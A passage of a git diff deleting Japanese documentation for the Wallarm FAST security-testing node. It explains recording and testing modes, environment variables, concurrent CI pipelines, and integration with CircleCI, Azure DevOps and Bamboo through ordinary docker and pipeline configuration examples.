# トークンの値は、最初のFASTノードで使用したものと同一である必要があります --e CI_MODE=recording \ --e BUILD_ID=2 \ # BUILD_IDの値は、別のCI/CDワークフローで最初のFASTノードに使用したものと異なる値です。 --p 8000:8080 wallarm/fast -``` - -!!! info "`docker run`コマンドに関する注意" - 前述のコマンドは同一のDockerホスト上で実行することを想定しています。そのため、`BUILD_ID`の値が異なることに加えて、コンテナ名（`fast-node-1`と`fast-node-2`）およびターゲットポートの値（`8080`と`8000`）も異なります。 - - FASTノードコンテナを別々のDockerホストで実行する場合、`docker run`コマンドの相違点は`BUILD_ID`の値のみになる場合があります。 - -これら2つのコマンドを実行すると、2つのFASTノードが同じクラウドFASTノードを使用して記録モードで動作しますが、**別々のテストレコードが作成されます**。 - -CI/CDツールのコンソール出力は[こちら][doc-ci-recording-example]に記載のものと同様になります。 - -テストレコードに必要なベースラインリクエストがすべて揃ったら、該当するFASTノードを停止し、テストモードのノードを起動します。 - -## 並行CI/CDワークフローで使用するためのFASTノードのテストモード実行 - -記録モードで動作していたFASTノード`fast-node-1`および`fast-node-2`の運用中に、`rec_1111`と`rec_2222`のテストレコードが準備されたと仮定します。 - -次に、テストモードのFASTノードに`rec_1111`のテストレコードを使用させるには、`BUILD_ID=1`環境変数をノードコンテナに渡します。同様に、`rec_2222`のテストレコードを使用するには`BUILD_ID=2`環境変数を渡します。以下の対応する`docker run`コマンドを使用して、FASTノードをテストモードで実行します。 - -最初のFASTノードコンテナをテストモードで実行するには、次のコマンドを実行します: - -``` -docker run --rm --name fast-node-1 \ --e WALLARM_API_HOST=api.wallarm.com \ --e WALLARM_API_TOKEN='qwe_12345' \ --e CI_MODE=testing \ # このノードはテストモードで動作します --e BUILD_ID=1 \ # `BUILD_ID=1`の変数は`rec_1111`のテストレコードに対応します -wallarm/fast -``` - -2つ目の同時実行FASTノードコンテナをテストモードで実行するには、次のコマンドを実行します: - -``` -docker run --rm --name fast-node-2 \ --e WALLARM_API_HOST=api.wallarm.com \ --e WALLARM_API_TOKEN='qwe_12345' \ --e CI_MODE=testing \ # このノードはテストモードで動作します --e BUILD_ID=2 \ # `BUILD_ID=2`の変数は`rec_2222`のテストレコードに対応します -wallarm/fast -``` - -CI/CDツールのコンソール出力は[こちら][doc-ci-testing-example]に記載のものと同様になります。 - -`BUILD_ID`環境変数の対応する値をFASTノードに渡すことで、**2つのテスト実行が同時に開始されます**。それぞれが別々のテストレコードで動作します。 - -したがって、`BUILD_ID`環境変数を指定することで、ノード間の競合を発生させることなく並行CI/CDワークフロー向けに複数のFASTノードを実行できます（新しく作成されたテスト実行が、実行中のテスト実行を中断することはありません）。 \ No newline at end of file diff --git a/docs/latest-ja/fast/poc/ci-mode-recording.md b/docs/latest-ja/fast/poc/ci-mode-recording.md deleted file mode 100644 index 5c3907c853..0000000000 --- a/docs/latest-ja/fast/poc/ci-mode-recording.md +++ /dev/null @@ -1,127 +0,0 @@ -[doc-allowed-hosts]: ../operations/env-variables.md#limiting-the-number-of-requests-to-be-recorded -[doc-get-token]: prerequisites.md#anchor-token -[doc-concurrent-pipelines]: ci-mode-concurrent-pipelines.md -[doc-env-variables]: ../operations/env-variables.md - -[anchor-recording-variables]: #environment-variables-in-recording-mode - -[link-docker-compose]: https://docs.docker.com/compose/ -[link-docker-compose-install]: https://docs.docker.com/compose/install/ - -# 記録モードでFAST nodeを実行する - -このモードでは、FAST nodeは対象アプリケーションのテストの前に起動します。 - -リクエストの送信元はFAST nodeをプロキシとして使用するように設定し、対象アプリケーションへHTTPまたはHTTPSリクエストを送信します。 - -FAST nodeはプロキシされたリクエストの中からベースラインリクエストを判定し、テストレコードに格納します。 - -!!! info "本章の前提条件" - 本章の手順に従うには、[トークン][doc-get-token]を取得する必要があります。 - - 本章では以下の値を例として使用します。 - - * `token_Qwe12345`をトークンとして使用します。 - * `rec_0001`をテストレコードの識別子として使用します。 - -!!! info "`docker-compose`のインストール" - 本章を通して[`docker-compose`][link-docker-compose]ツールを使用して、記録モードにおけるFAST nodeの動作を示します。 - - このツールのインストール手順は[こちら][link-docker-compose-install]にあります。 - -## 記録モードの環境変数 {#environment-variables-in-recording-mode} - -FAST nodeの設定は環境変数で行います。以下の表に、記録モードのFAST nodeの設定に使用できるすべての環境変数を示します。 - -| 環境変数 | 値 | 必須? | -|-------------------- | -------- | ----------- | -| `WALLARM_API_TOKEN` | ノード用のトークンです。 | はい | -| `WALLARM_API_HOST` | 使用するWallarm APIサーバーのドメイン名です。
        許可される値:
        `us1.api.wallarm.com`はUS cloudで使用します。
        `api.wallarm.com`はEU cloudで使用します。| はい | -| `CI_MODE` | FAST nodeの動作モードです。
        必要な値: `recording`。 | はい | -| `TEST_RECORD_NAME` | 作成する新しいテストレコードの名前です。
        デフォルト値は次のような形式です: “TestRecord Oct 08 12:18 UTC”。 | いいえ | -| `INACTIVITY_TIMEOUT` | `INACTIVITY_TIMEOUT`間隔内にFAST nodeへベースラインリクエストが届かない場合、記録プロセスはFAST nodeとともに停止します。
        許容値の範囲: 1〜691200秒（1週間）
        デフォルト値: 600秒（10分）。 | いいえ | -| `ALLOWED_HOSTS` | この環境変数に列挙されたいずれかのホストを宛先とするリクエストをFAST nodeが記録します。
        デフォルト値: 空文字列（すべての受信リクエストを記録します）。詳細は[こちら][doc-allowed-hosts]をご覧ください。| いいえ | -| `BUILD_ID` | CI/CDワークフローの識別子です。この識別子により、同じクラウド上のFAST nodeを使用して複数のFAST nodeを同時に動作させることができます。詳細は[こちら][doc-concurrent-pipelines]をご覧ください。| いいえ | - -!!! info "関連情報" - 特定のFAST nodeの動作モードに依存しない環境変数の説明は[こちら][doc-env-variables]にあります。 - -## 記録モードでのFAST nodeのデプロイ - -以下では、記録モードでのFAST nodeの動作を示すための`docker-compose.yaml`サンプル構成ファイルを使用します（`CI_MODE`環境変数の値に注意してください）。 - -``` -version: '3' - services: - fast: - image: wallarm/fast - environment: - WALLARM_API_TOKEN: token_Qwe12345 # ここにトークン値を指定します - WALLARM_API_HOST: us1.api.wallarm.com # ここではUS cloudのAPIサーバーを使用します。EU cloudのAPIサーバーを使用する場合はapi.wallarm.comを指定します。 - CI_MODE: recording - ports: - - '8080:8080' - networks: - main: - aliases: - - fast - -networks: - main: -``` - -FAST nodeのDockerコンテナを実行するには、`docker-compose.yaml`ファイルがあるディレクトリに移動し、`docker-compose up fast`コマンドを実行します。 - -コマンドが正常に実行されると、次のようなコンソール出力が表示されます。 - -``` - __ __ _ _ - \ \ / /_ _| | |__ _ _ _ _ __ - \ \/\/ / _` | | / _` | '_| ' \ - \_/\_/\__,_|_|_\__,_|_| |_|_|_| - ___ _ ___ _____ - | __/_\ / __|_ _| - | _/ _ \\__ \ | | - |_/_/ \_\___/ |_| - - Loading... - [info] Node connected to Wallarm Cloud - [info] Loaded 0 custom extensions for fast scanner - [info] Loaded 44 default extensions for fast scanner - [info] TestRecord#rec_0001 TestRecord Oct 01 01:01 UTC starts to record - -``` - -この出力から、FAST nodeがWallarm cloudに正常に接続し、識別子`rec_0001`、名前`TestRecord Oct 01 01:01 UTC.`のテストレコードを作成したことが分かります。これでリクエストの受信とベースラインリクエストの記録を行う準備ができています。 - -!!! info "テストレコード名に関する注意" - デフォルトのテストレコード名を変更するには、FAST nodeのDockerコンテナを起動する際に、`TEST_RECORD_NAME`環境変数で必要な値を渡します。 - -!!! warning "テストの実行" - ここで、対象アプリケーションに対して既存のテストを実施します。FASTはベースラインリクエストを記録し、それらをテストレコードに追加します。 - -## 記録モードのFAST nodeのDockerコンテナの停止と削除 - -必要なベースラインリクエストがすべて記録されると、CI/CDツールによってFAST nodeがシャットダウンされ、終了コードを返します。 - -エラーが発生せず、ベースラインの記録処理が正常に完了した場合は、終了コード`0`を返します。 - -エラーが発生した場合、またはタイムアウトによりベースラインの記録処理が停止した場合（[`INACTIVITY_TIMEOUT`][anchor-recording-variables]環境変数の説明を参照）、FAST nodeは自動的に停止し、終了コード`1`を返します。 - -FAST nodeの処理が終了したら、対応するDockerコンテナを停止して削除する必要があります。 - -終了コード`1`で自動停止しないものの、必要なベースラインリクエストがすべて記録されている場合は、`docker-compose stop `コマンドを実行してFAST nodeのDockerコンテナを停止できます: - -``` -docker-compose stop fast -``` - -FAST nodeのコンテナを削除するには、`docker-compose rm `コマンドを実行します: - -``` -docker-compose rm fast -``` - -上記の例では、停止または削除するDockerコンテナ名として`fast`を使用しています。 - -代わりに、`docker-compose.yaml`ファイルで定義されているすべてのサービスのコンテナを停止して削除する`docker-compose down`コマンドを使用できます。 \ No newline at end of file diff --git a/docs/latest-ja/fast/poc/ci-mode-testing.md b/docs/latest-ja/fast/poc/ci-mode-testing.md deleted file mode 100644 index df86ca1b64..0000000000 --- a/docs/latest-ja/fast/poc/ci-mode-testing.md +++ /dev/null @@ -1,161 +0,0 @@ -[doc-testpolicy]: ../operations/internals.md#fast-test-policy -[doc-testpolicy-creation-example]: ../qsg/test-preparation.md#2-create-a-test-policy-targeted-at-xss-vulnerabilities -[doc-waiting-for-tests]: waiting-for-tests.md -[doc-get-token]: prerequisites.md#anchor-token -[doc-concurrent-pipelines]: ci-mode-concurrent-pipelines.md -[doc-env-variables]: ../operations/env-variables.md - -[link-wl-portal-new-policy]: https://us1.my.wallarm.com/testing/policies/new#general -[link-docker-compose]: https://docs.docker.com/compose/ -[link-docker-compose-install]: https://docs.docker.com/compose/install/ - -[anchor-testing-mode]: #deployment-of-a-fast-node-in-the-testing-mode -[anchor-testing-variables]: #environment-variables-in-testing-mode -[anchor-stopping-fast-node]: ci-mode-recording.md#stopping-and-removing-the-docker-container-with-the-fast-node-in-recording-mode -[anchor-testing-mode]: #deployment-of-a-fast-node-in-the-testing-mode - -# テストモードでFASTノードを実行する - -テストモードでは、FASTノードは記録モードでのベースラインリクエストから作成されたテストレコードに基づいてテストランを作成し、対象アプリケーション向けのセキュリティテストセットを実行します。 - -!!! info "本章の前提条件" - 本章の手順に従うには、[トークン][doc-get-token]を取得する必要があります。 - - 本章を通して以下の値を例として使用します： - - * `tr_1234`をテストランの識別子として使用します - * `rec_0001`をテストレコードの識別子として使用します - * `bl_7777`をベースラインリクエストの識別子として使用します - -!!! info "「docker-compose」のインストール" - 本章では、テストモードにおけるFASTノードの動作を示すために[`docker-compose`][link-docker-compose]ツールを使用します。 - - このツールのインストール手順は[こちら][link-docker-compose-install]にあります。 - -## テストモードにおける環境変数 - -FASTノードの設定は環境変数で行います。以下の表は、テストモードでFASTノードを設定する際に使用できるすべての環境変数を示します。 - -| 環境変数 | 値 | 必須？ | -|-------------------- | -------- | ----------- | -| `WALLARM_API_TOKEN` | ノード用のトークンです。 | はい | -| `WALLARM_API_HOST` | 使用するWallarm APIサーバのドメイン名です。
        許容値：
        `us1.api.wallarm.com`（USクラウド用）;
        `api.wallarm.com`（EUクラウド用）。| はい | -| `CI_MODE` | FASTノードの動作モードです。
        必須値：`testing`。 | はい | -| `WORKERS` | 複数のベースラインリクエストを並列に処理する同時スレッド数です。
        デフォルト値：`10`。| いいえ | -| `TEST_RECORD_ID` | テストレコードの識別子です。
        デフォルト：空。 | いいえ | -| `TEST_RUN_NAME` | テストランの名前です。
        デフォルト値は次のような形式です：“TestRun Sep 24 12:31 UTC”。 | いいえ | -| `TEST_RUN_DESC` | テストランの説明です。
        デフォルト値：空文字列。 | いいえ | -| `TEST_RUN_POLICY_ID` | テストポリシーの識別子です。
        パラメータが指定されていない場合は、デフォルトポリシーが適用されます。 | いいえ | -| `TEST_RUN_RPS` | テスト実行中に対象アプリケーションへ送信するテストリクエスト数の上限（RPS、requests per second）を指定します。
        許容値の範囲：1〜1000（requests per second）
        デフォルト値：無制限。 | いいえ | -| `TEST_RUN_STOP_ON_FIRST_FAIL` | 脆弱性が検出されたときのFASTの挙動を指定します：
        `true`：最初の脆弱性検出時にテストランの実行を停止します。
        `false`：脆弱性の有無にかかわらず、すべてのベースラインリクエストを処理します。
        デフォルト値：`false`。 | いいえ | -| `TEST_RUN_URI` | 対象アプリケーションのURIです。
        CI/CDの過程で対象アプリケーションのIPアドレスが変わる可能性があるため、アプリケーションURIを使用できます。
        たとえば、`docker-compose`でデプロイされたアプリケーションのURIは`http://app-test:3000`のようになります。 | いいえ | -| `BUILD_ID` | CI/CDワークフローの識別子です。この識別子により、同じクラウドFASTノードを使用して複数のFASTノードを同時に動作させることができます。詳細は[こちら][doc-concurrent-pipelines]をご参照ください。| いいえ | -| `FILE_EXTENSIONS_TO_EXCLUDE` | テスト中の評価から除外すべき静的ファイル拡張子のリストです。
        これらの拡張子は|文字で列挙できます：
        FILE_EXTENSIONS_TO_EXCLUDE='jpg|ico|png' | いいえ | -| `PROCESSES` | FASTノードが使用できるプロセス数です。各プロセスは`WORKERS`変数で指定されたスレッド数を使用します。
        デフォルトのプロセス数：`1`。
        特別な値：`auto`（[`nproc`](https://www.gnu.org/software/coreutils/manual/html_node/nproc-invocation.html#nproc-invocation)コマンドで計算されたCPU数の半分に相当）。 | いいえ | - -!!! info "参考" - 特定のFASTノード動作モードに依存しない環境変数の説明は[こちら][doc-env-variables]にあります。 - -## テストポリシーIDの取得 - -独自の[テストポリシー][doc-testpolicy]を使用する予定がある場合は、Wallarm cloudで[作成][link-wl-portal-new-policy]してください。後で、テストモードでFASTノードを実行する際に、`TEST_RUN_POLICY_ID`環境変数を通じてその識別子をFASTノードのDockerコンテナに渡します。 - -デフォルトのテストポリシーを使用する場合は、コンテナに`TEST_RUN_POLICY_ID`環境変数を設定しないでください。 - -!!! info "テストポリシーの作成方法" - 「Quick Start」ガイドには、サンプルのテストポリシーを作成するための[段階的な手順][doc-testpolicy-creation-example]が記載されています。 - -## テストレコードIDの取得 - -テストモードで特定のテストレコードを使用するには、[`TEST_RECORD_ID`][anchor-testing-variables]パラメータでそのテストレコードの識別子をFASTノードに渡すことができます。これにより、最初に記録モードでFASTノードを実行する必要がなくなります。代わりに、あらかじめ作成したテストレコードを使用して、異なるノードやテストランで同じセキュリティテストを複数回実行できます。 - -テストレコードの識別子は、Wallarmポータルのインターフェイス、またはテストモードでのFASTノードのログから取得できます。`TEST_RECORD_ID`パラメータを使用しない場合、FASTノードはそのノードの最後のテストレコードを使用します。 - -## テストモードでのFASTノードのデプロイ - -以前に作成した`docker-compose.yaml`ファイルは、テストモードでFASTノードを実行するのに適しています。 -そのためには、環境変数`CI_MODE`の値を`testing`に変更する必要があります。 - -値の変更は、`docker-compose.yaml`ファイル内の当該変数を修正するか、`docker-compose run`コマンドの`-e`オプションで必要な値の環境変数をDockerコンテナに渡す方法のいずれでも可能です： - -``` -docker-compose run --rm -e CI_MODE=testing fast -``` - -!!! info "テストレポートの取得" - テスト結果のレポートを取得するには、FASTノードのDockerコンテナをデプロイする際に、`-v {DIRECTORY_FOR_REPORTS}:/opt/reports/`オプションでレポートのダウンロード先ディレクトリをマウントします。 - - セキュリティテストが完了すると、{DIRECTORY_FOR_REPORTS}ディレクトリに、簡易レポート`..txt`と詳細レポート`..json`が作成されます。 - -!!! info "`docker-compose`コマンドのオプション" - 上記のいずれの環境変数も、`-e`オプション経由でFASTノードのDockerコンテナに渡すことができます。 - - また、上の例では`--rm`オプションも使用しており、ノードの停止時にFASTノードのコンテナが自動的に破棄されます。 - -コマンドが正常に実行されると、次のようなコンソール出力が表示されます： - -``` - __ __ _ _ - \ \ / /_ _| | |__ _ _ _ _ __ - \ \/\/ / _` | | / _` | '_| ' \ - \_/\_/\__,_|_|_\__,_|_| |_|_|_| - ___ _ ___ _____ - | __/_\ / __|_ _| - | _/ _ \\__ \ | | - |_/_/ \_\___/ |_| - -Loading... -INFO synccloud[13]: Registered new instance 16dd487f-3d40-4834-xxxx-8ff17842d60b -INFO [1]: Loaded 0 custom extensions for fast scanner -INFO [1]: Loaded 44 default extensions for fast scanner -INFO [1]: Use TestRecord#rec_0001 for creating TestRun -INFO [1]: TestRun#tr_1234 created -``` - -この出力は、識別子`rec_0001`のテストレコードを使用して、識別子`tr_1234`のテストランが作成され、処理が正常に完了したことを示しています。 - -続いて、テストポリシーを満たすテストレコード内の各ベースラインリクエストに対して、FASTノードがセキュリティテストを生成し実行します。コンソール出力には次のようなメッセージが含まれます： - -``` -INFO [1]: Running a test set for the baseline #bl_7777 -INFO [1]: Test set for the baseline #bl_7777 is running -INFO [1]: Retrieving the baseline request Hit#["hits_production_202_20xx10_v_1", "AW2xxxxxW26"] -INFO [1]: Use TestPolicy with name 'Default Policy' -``` - -この出力は、識別子`bl_7777`のベースラインリクエストに対してテストセットが実行されていることを示しています。また、`TEST_RUN_POLICY_ID`環境変数が指定されていないため、デフォルトのテストポリシーが使用されていることも示しています。 - -## テストモードのFASTノードのDockerコンテナの停止と削除 - -取得したテスト結果に応じて、FASTノードの終了の仕方は異なります。 - -対象アプリケーションで脆弱性が検出された場合、FASTノードは次のようなメッセージを表示します： - -``` -INFO [1]: Found 4 vulnerabilities, marking the test set for baseline #bl_7777 as failed -ERROR [1]: TestRun#tr_1234 failed -``` - -この場合、4件の脆弱性が見つかりました。識別子`bl_7777`のベースラインに対するテストセットは失敗と見なされ、対応する識別子`tr_1234`のテストランも失敗としてマークされます。 - -対象アプリケーションで脆弱性が検出されなかった場合、FASTノードは次のようなメッセージを表示します： - -``` -INFO [1]: No issues found. Test set for baseline #bl_7777 passed. -INFO [1]: TestRun#tr_1234 passed -``` - -この場合、識別子`tr_1234`のテストランは合格と見なされます。 - -!!! warning "セキュリティテストセットについて" - 上記の例は、1つのテストセットのみが実行されたことを意味するものではありません。FASTのテストポリシーに適合する各ベースラインリクエストごとにテストセットが作成されます。 - - ここでは説明のため、テストセットに関するメッセージを1件のみ示しています。 - -FASTノードはテスト処理が完了すると終了し、CI/CDジョブの一部として実行しているプロセスに終了コードを返します。 -* セキュリティテストのステータスが“passed”で、かつテスト処理中にFASTノードでエラーが発生しなかった場合は、終了コード`0`を返します。 -* それ以外（セキュリティテストが失敗した、またはテスト処理中にFASTノードでエラーが発生した）場合は、終了コード`1`を返します。 - -テストモードのFASTノードのコンテナは、セキュリティテスト完了後に自動的に停止します。それでも、CI/CDツールは[前述の方法][anchor-stopping-fast-node]によってノードおよびコンテナのライフサイクルを制御できます。 - -[上の例][anchor-testing-mode]では、FASTノードのコンテナは`--rm`オプションを付けて実行されています。これは、停止したコンテナが自動的に削除されることを意味します。 \ No newline at end of file diff --git a/docs/latest-ja/fast/poc/circleci-orbs.md b/docs/latest-ja/fast/poc/circleci-orbs.md deleted file mode 100644 index 730333a2e4..0000000000 --- a/docs/latest-ja/fast/poc/circleci-orbs.md +++ /dev/null @@ -1,86 +0,0 @@ -[fast-jenkins-cimode]: ./examples/jenkins-cimode.md -[fast-ci-mode-test]: ../ci-mode-testing.md#environment-variables-in-recording-mode -[recording-mode]: ci-mode-recording.md -[fast-node-token]: ../operations/create-node.md -[circleci-set-env-var]: https://circleci.com/docs/2.0/env-vars/#setting-an-environment-variable-in-a-project -[circleci-example-env-var]: ../../images/fast/poc/common/examples/circleci-cimode/circleci-env-var-example.png -[circleci-fast-plugin]: https://circleci.com/orbs/registry/orb/wallarm/fast -[circleci-using-orbs]: https://circleci.com/docs/2.0/using-orbs/ -[mail-to-us]: mailto:support@wallarm.com - -# Wallarm FAST OrbsとCircleCIの統合 - -この手順では、[Wallarm FAST Orbs（プラグイン）][circleci-fast-plugin]を介してFASTをCircleCIのワークフローに統合する方法を説明します。統合の設定は`~/.circleci/config.yml`の設定ファイルで行います。CircleCI Orbsの詳細は[公式CircleCIドキュメント][circleci-using-orbs]をご覧ください。 - -!!! warning "要件" - - * CircleCIバージョン2.1 - * 既に[ベースラインリクエストのセットを記録][recording-mode]済みのCircleCIワークフローが構成されていること - - 別のバージョンのCircleCIを使用している場合や、リクエスト記録のステップを追加する必要がある場合は、[FASTノード経由でのCircleCIとの統合例][fast-jenkins-cimode]を参照してください。 - -## ステップ1: FASTノードトークンの指定 - -CircleCIのプロジェクト設定で、`WALLARM_API_TOKEN`環境変数に[FASTノードトークン][fast-node-token]の値を設定します。環境変数の設定方法は[CircleCIドキュメント][circleci-set-env-var]に記載されています。 - -![CircleCI環境変数の設定][circleci-example-env-var] - -## ステップ2: Wallarm FAST Orbsの接続 - -Wallarm FAST Orbsを接続するには、`~/.circleci/config.yml`ファイルで次を設定します: - -1. ファイルでCircleCIバージョン2.1が指定されていることを確認します: - - ``` - version: 2.1 - ``` -2. `orbs`セクションでWallarm FASTプラグインを初期化します: - - ``` - orbs: - fast: wallarm/fast@1.1.0 - ``` - -## ステップ3: セキュリティテストのステップの構成 - -セキュリティテストを構成するには、CircleCIのワークフローに独立したステップ`fast/run_security_tests`を追加し、以下のパラメータを定義します: - -| パラメータ | 説明 | 必須 | -| ---------| ---------|--------------- | -| test_record_id| テストレコードID。[TEST_RECORD_ID](ci-mode-testing.md#environment-variables-in-testing-mode)に対応します。
        デフォルト値は、使用中のFASTノードで最後に作成されたテストレコードです。 | Yes| -| app_host | テストアプリケーションのアドレス。値はIPアドレスまたはドメイン名です。
        デフォルト値は内部IPです。 | No | -| app_port | テストアプリケーションのポート。
        デフォルト値は80です。 | No | -| policy_id | [テストポリシー](../operations/test-policy/overview.md)のID。
        デフォルト値は`[null]`-`Default Test Policy`です。 | No | -| stop_on_first_fail | エラー発生時にテストを停止するかどうかを示すフラグです。 | No | -| test_run_name | テスト実行の名前。
        デフォルトでは、値はテスト実行の作成日時から自動生成されます。 | No | -| test_run_desc | テスト実行の説明。 | No | -| test_run_rps | 対象アプリケーションに送信するテストリクエスト数（RPS、requests per second）の上限。
        最小値: `1`。
        最大値: `1000`。
        デフォルト値: `null`（RPSは無制限です）。 | No | -| wallarm_api_host | Wallarm APIサーバーのアドレス。
        指定可能な値:
        Wallarm USクラウドのサーバーには`us1.api.wallarm.com`、
        Wallarm EUクラウドのサーバーには`api.wallarm.com`。
        デフォルト値は`us1.api.wallarm.com`です。 | No| -| wallarm_fast_port | FASTノードのポート。
        デフォルト値は8080です。 | No | -| wallarm_version | 使用するWallarm FAST Orbsのバージョン。
        バージョンの一覧は[リンク][circleci-fast-plugin]から確認できます。
        デフォルト値は最新です。| No| - -??? info "~/.circleci/config.ymlの例" - ``` - version: 2.1 - jobs: - build: - machine: - image: 'ubuntu-1604:201903-01' - steps: - - checkout - - run: - command: > - docker run -d --name app-test -p 3000:3000 - wallarm/fast-example-rails - name: Run application - - fast/run_security_tests: - app_port: '3000' - test_record_id: '9058' - orbs: - fast: 'wallarm/fast@dev:1.1.0' - ``` - - FASTをCircleCIワークフローに統合するさらなる例は、[GitHub](https://github.com/wallarm/fast-examples)および[CircleCI](https://circleci.com/gh/wallarm/fast-example-circleci-orb-rails-integration)で確認できます。 - -!!! info "追加のご質問" - FASTの統合に関してご質問がある場合は、[こちら][mail-to-us]からご連絡ください。 \ No newline at end of file diff --git a/docs/latest-ja/fast/poc/examples/azure-devops-cimode.md b/docs/latest-ja/fast/poc/examples/azure-devops-cimode.md deleted file mode 100644 index 07ac8e15a0..0000000000 --- a/docs/latest-ja/fast/poc/examples/azure-devops-cimode.md +++ /dev/null @@ -1,103 +0,0 @@ -# Azure DevOpsへのFASTの統合 - -CI MODEでのFASTのAzure DevOpsパイプラインへの統合は、`azure-pipelines.yml`ファイルで設定します。`azure-pipelines.yml`ファイルの詳細なスキーマは[Azure DevOpsの公式ドキュメント](https://docs.microsoft.com/en-us/azure/devops/pipelines/yaml-schema?view=azure-devops&tabs=schema%2Cparameter-schema)に記載されています。 - -!!! info "設定済みのワークフロー" - 以降の手順は、次のいずれかに該当する設定済みのワークフローがあることを前提とします。 - - * テスト自動化が実装されています。この場合、FASTノードトークンを[渡し](#passing-fast-node-token)、[リクエスト記録](#adding-the-step-of-request-recording)と[セキュリティテスト](#adding-the-step-of-security-testing)の手順を追加します。 - * ベースラインリクエストのセットが既に記録されています。この場合、FASTノードトークンを[渡し](#passing-fast-node-token)、[セキュリティテスト](#adding-the-step-of-security-testing)の手順を追加します。 - -## FASTノードトークンの指定 - -[FASTノードトークン](../../operations/create-node.md)を安全に使用するには、現在のパイプラインの設定を開き、トークン値を[Azure DevOps環境変数](https://docs.microsoft.com/en-us/azure/devops/pipelines/process/variables?view=azure-devops&tabs=yaml%2Cbatch#environment-variables)に渡します。 - -![Azure DevOps環境変数の渡し](../../../images/fast/poc/common/examples/azure-devops-cimode/azure-env-var-example.png) - -## リクエスト記録手順の追加 - ---8<-- "../include/fast/fast-cimode-integration-examples/request-recording-setup.md" - -??? info "記録モードでFASTノードを実行する自動テスト手順の例" - ``` - - job: tests - steps: - - script: docker network create my-network - displayName: 'Create my-network' - - script: docker run --rm --name dvwa -d --network my-network wallarm/fast-example-dvwa-base - displayName: 'Run test application on my-network' - - script: docker run --name fast -d -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=recording -e WALLARM_API_HOST=us1.api.wallarm.com -e ALLOWED_HOSTS=dvwa -p 8080:8080 --network my-network --rm wallarm/fast - displayName: 'Run FAST node in recording mode on my-network' - - script: docker run --rm -d --name selenium -e http_proxy='http://fast:8080' --network my-network selenium/standalone-firefox:latest - displayName: 'Run Selenium with FAST node as a proxy on my-network' - - script: docker run --rm --name tests --network my-network wallarm/fast-example-dvwa-tests - displayName: 'Run automated tests on my-network' - - script: docker stop selenium fast - displayName: 'Stop Selenium and FAST node in recording mode' - ``` - -## セキュリティテスト手順の追加 - -セキュリティテストの設定方法は、テストアプリケーションで使用する認証方式によって異なります。 - -* 認証が必要な場合、セキュリティテストの手順をリクエスト記録の手順と同じジョブに追加します。 -* 認証が不要な場合、セキュリティテストの手順をパイプラインの別ジョブとして追加します。 - -セキュリティテストを実施するには、次の手順に従います。 - -1. テストアプリケーションが起動していることを確認します。必要に応じて、アプリケーションを起動するコマンドを追加します。 -2. アプリケーションを実行するコマンドの__後__に、`CI_MODE=testing`モードでFASTのDockerコンテナを実行するコマンドと、その他の必要な[変数](../ci-mode-testing.md#environment-variables-in-testing-mode)を追加します。 - - !!! info "記録済みのベースラインリクエストセットの使用" - ベースラインリクエストのセットが別のパイプラインで記録された場合は、[TEST_RECORD_ID](../ci-mode-testing.md#environment-variables-in-testing-mode)変数にレコードIDを指定します。そうでない場合は、最後に記録されたセットが使用されます。 - - コマンドの例: - - ``` - docker run --name fast -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=testing -e WALLARM_API_HOST=us1.api.wallarm.com -p 8080:8080 -e TEST_RUN_URI=http://app-test:3000 --network my-network --rm wallarm/fast - ``` - -!!! warning "Dockerネットワーク" - セキュリティテストの前に、FASTノードとテストアプリケーションが同じネットワーク上で動作していることを確認します。 - -??? info "テストモードでFASTノードを実行する自動テスト手順の例" - 以下の例では、認証が必要なアプリケーションDVWAをテストするため、セキュリティテストの手順はリクエスト記録の手順と同じジョブに追加しています。 - - ``` - stages: - - stage: testing - jobs: - - job: tests - steps: - - script: docker network create my-network - displayName: 'Create my-network' - - script: docker run --rm --name dvwa -d --network my-network wallarm/fast-example-dvwa-base - displayName: 'Run test application on my-network' - - script: docker run --name fast -d -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=recording -e WALLARM_API_HOST=us1.api.wallarm.com -e ALLOWED_HOSTS=dvwa -p 8080:8080 --network my-network --rm wallarm/fast - displayName: 'Run FAST node in recording mode on my-network' - - script: docker run --rm -d --name selenium -e http_proxy='http://fast:8080' --network my-network selenium/standalone-firefox:latest - displayName: 'Run Selenium with FAST node as a proxy on my-network' - - script: docker run --rm --name tests --network my-network wallarm/fast-example-dvwa-tests - displayName: 'Run automated tests on my-network' - - script: docker stop selenium fast - displayName: 'Stop Selenium and FAST node in recording mode' - - script: docker run --name fast -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=testing -e WALLARM_API_HOST=us1.api.wallarm.com -p 8080:8080 -e TEST_RUN_URI=http://dvwa:80 --network my-network --rm wallarm/fast - displayName: 'Run FAST node in testing mode on my-network' - - script: docker stop dvwa - displayName: 'Stop test application' - - script: docker network rm my-network - displayName: 'Delete my-network' - ``` - -## テスト結果の取得 - -セキュリティテストの結果はAzure DevOpsのインターフェースに表示されます。 - -![テストモードでFASTノードを実行した結果](../../../images/fast/poc/common/examples/azure-devops-cimode/azure-ci-example.png) - -## その他の例 - -Azure DevOpsワークフローへのFASTの統合例は、当社の[GitHub](https://github.com/wallarm/fast-examples)で確認できます。 - -!!! info "追加のご質問" - FASTの統合に関するご質問がある場合は、[お問い合わせください](mailto:support@wallarm.com)。 \ No newline at end of file diff --git a/docs/latest-ja/fast/poc/examples/bamboo-cimode.md b/docs/latest-ja/fast/poc/examples/bamboo-cimode.md deleted file mode 100644 index 2709ba53b2..0000000000 --- a/docs/latest-ja/fast/poc/examples/bamboo-cimode.md +++ /dev/null @@ -1,128 +0,0 @@ -# FASTとBambooの統合 - -CI MODEでのFASTのBambooワークフローへの統合は、以下のいずれかの方法で設定できます。 - -* [YAML仕様](https://confluence.atlassian.com/bamboo/bamboo-yaml-specs-938844479.html)を使用して -* [JAVA仕様](https://confluence.atlassian.com/bamboo/bamboo-java-specs-941616821.html)を使用して -* [Bamboo UI](https://confluence.atlassian.com/bamboo/jobs-and-tasks-289277035.html)を使用して - -以下の例では、YAML仕様を使用して統合を設定します。 - -## FASTノードトークンの受け渡し - -[FASTノードトークン](../../operations/create-node.md)を安全に使用するには、その値を[Bambooのグローバル変数](https://confluence.atlassian.com/bamboo/defining-global-variables-289277112.html)で渡します。 - -![Bambooグローバル変数の受け渡し](../../../images/fast/poc/common/examples/bamboo-cimode/bamboo-env-var-example.png) - ---8<-- "../include/fast/fast-cimode-integration-examples/configured-workflow.md" - -## リクエスト記録ステップの追加 - 